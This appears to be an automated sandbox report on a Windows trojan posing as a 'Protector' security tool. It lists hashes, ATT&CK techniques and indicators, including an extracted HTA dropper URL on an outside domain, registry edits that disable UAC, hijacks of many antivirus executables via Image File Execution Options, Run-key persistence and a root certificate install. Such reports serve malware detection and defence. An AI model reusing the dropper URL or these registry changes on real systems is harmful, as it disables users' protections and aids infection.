4f0bc8c887bae4211b8eccdbf08cc04645c08eacb4e0b0e94c511ebe50c9a3ee

Analysis

max time kernel
150s
max time network
154s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
18/08/2024, 13:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4f0bc8c887bae4211b8eccdbf08cc04645c08eacb4e0b0e94c511ebe50c9a3ee.exe
Size

2.0MB
MD5

a6dfa21610948c33426dd4cb689e060e
SHA1

86d0f9265cbb7cb3eef70fd10fc25143fe1592ca
SHA256

4f0bc8c887bae4211b8eccdbf08cc04645c08eacb4e0b0e94c511ebe50c9a3ee
SHA512

bcef93060472971c961997fdea0ead573d01d8c81c6f29f19fe581df33220295650ce2574a97dbc034d7642db77450442585ca8e8982b9eb339a2ca4dead5635
SSDEEP

49152:DCqEdrs/oMaIbycp34Kd9lz04CMxD23I4TsY5l264VfdHW9:Dkd4xIs9tcMye64Vfs9

Score

10^/10

defense_evasion discovery evasion execution persistence trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://galaint.online-secure-pay.info/?0=112&1=1&2=1&3=33&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=skbkyyehvc&14=1

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Protector-fewm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-fewm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Protector-fewm.exe

Disables taskbar notifications via registry modification
evasion

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cfiaudit.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dssagent.exe	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\navapsvc.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nsched32.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\oaui.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashSkPcc.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avmcdlg.exe	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vbcmserv.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\securitysoldier.exe	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smc.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\datemanager.exe	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aswRegSvr.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cavscan.exe	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nisum.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\optimize.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\programauditor.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pspf.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QuickHealCleaner.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgscanx.exe	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msbb.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wkufind.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nui.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgcc32.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cdp.exe	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\claw95cf.exe	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mfin32.exe	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\navnt.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\normist.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsbgate.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\agentw.exe	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bisp.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashQuick.exe	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgserv9.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cfpconfg.exe	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ndd32.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shellspyinstall.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\adaware.exe	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashLogV.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpf9x206.exe	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\etrustcipe.exe	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\f-agnt95.exe	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nmain.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\securitysoldier.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avciman.exe	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cfgwiz.exe	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minilog.exe	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nui.exe	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VisthAux.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AAWTray.exe	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgwdsvc.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dvp95_0.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\exe.avxw.exe	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kavpers40eng.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rapapp.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ray.exe	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\supporter5.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcagent.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcsysmon.exe	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vnlan300.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xpdeluxe.exe\Debugger = "svchost.exe"	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\istsvc.exe	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winrecon.exe	Protector-fewm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\npssvc.exe	Protector-fewm.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
2736	46idba4mb3c6wsk.exe
2868	d4j2qm7zd0c38ni.exe
2696	Protector-fewm.exe

Loads dropped DLL 7 IoCs

pid	Process
2732	4f0bc8c887bae4211b8eccdbf08cc04645c08eacb4e0b0e94c511ebe50c9a3ee.exe
2736	46idba4mb3c6wsk.exe
2736	46idba4mb3c6wsk.exe
2868	d4j2qm7zd0c38ni.exe
2868	d4j2qm7zd0c38ni.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Windows\CurrentVersion\Run\Inspector = "C:\\Users\\Admin\\AppData\\Roaming\\Protector-fewm.exe"	Protector-fewm.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-fewm.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\services.msc	Protector-fewm.exe
File opened for modification	C:\Windows\SysWOW64\eventvwr.msc	Protector-fewm.exe
File opened for modification	C:\Windows\SysWOW64\diskmgmt.msc	Protector-fewm.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2404	sc.exe
520	sc.exe
596	sc.exe
2144	sc.exe
1196	sc.exe
2252	sc.exe
1336	sc.exe
2068	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Protector-fewm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d4j2qm7zd0c38ni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	46idba4mb3c6wsk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4f0bc8c887bae4211b8eccdbf08cc04645c08eacb4e0b0e94c511ebe50c9a3ee.exe

Modifies Internet Explorer settings 1 TTPs 37 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = e0be47f974f1da01	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "430150604"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main	Protector-fewm.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000bb7c5835718279428690b074aa627b7000000000020000000000106600000001000020000000039608b50964e5eb52301a2cdd3e04a6621bd991c9db2435fbe60b84c4c52065000000000e80000000020000200000006cdecd9d4f1e24b0c23459fdc5d1f92efb478bcf5fb06f013aa57722c221bedc9000000026379afb8b78ffbe893e58d1398fd5a43057ba3c9e68c85edb85523ef79d2b4d6415c4e8c0156ca0bcb405e93e43a4f1965a999a426b36cdf28bccdbe4cbfeb12a079f9d62c9bee495c74f6138bb75b4fa606c5b9074843b1d72a5b6e36abafed6e79aa1eaffba63e273edde7246332bfd682290a8f3dc76382d38210b7a7b5769df95bb25d9451feb646509d3ce20f040000000b1d61ab767271f11b4a5aea67875a58802db9630e538a1554e091876429d412f2f357b02eb034d835361f36ea0ecc886adbeadb4559c7bf72f38a63d1be4f2fe	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000bb7c5835718279428690b074aa627b70000000000200000000001066000000010000200000007e892c3f734d6d1d6a06f17d0111bf7437a89c70b542fc429c1abcc83acac818000000000e800000000200002000000027c0d77e2e84ac2ca573121529cc0783836dff492c6813a1aef20fccdd18313420000000546bf0c65f645cfd5f2a240ef8ee74bdc22e5c4d499c6e5f0afb7d9c072302ef40000000fff5445414a51da69faaba6d8ed551b95c15af279b26edfd652f34f4b7a51c121b5a4c56dc4959f33980053f110f08fd8dd24b66712f04523470f6b0eaac4f02	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312	Protector-fewm.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312\iexplore.exe = "1"	Protector-fewm.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{24593A01-5D68-11EF-8D34-5A77BF4D32F0} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	Protector-fewm.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Protector-fewm.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2868	d4j2qm7zd0c38ni.exe
Token: SeShutdownPrivilege	2868	d4j2qm7zd0c38ni.exe
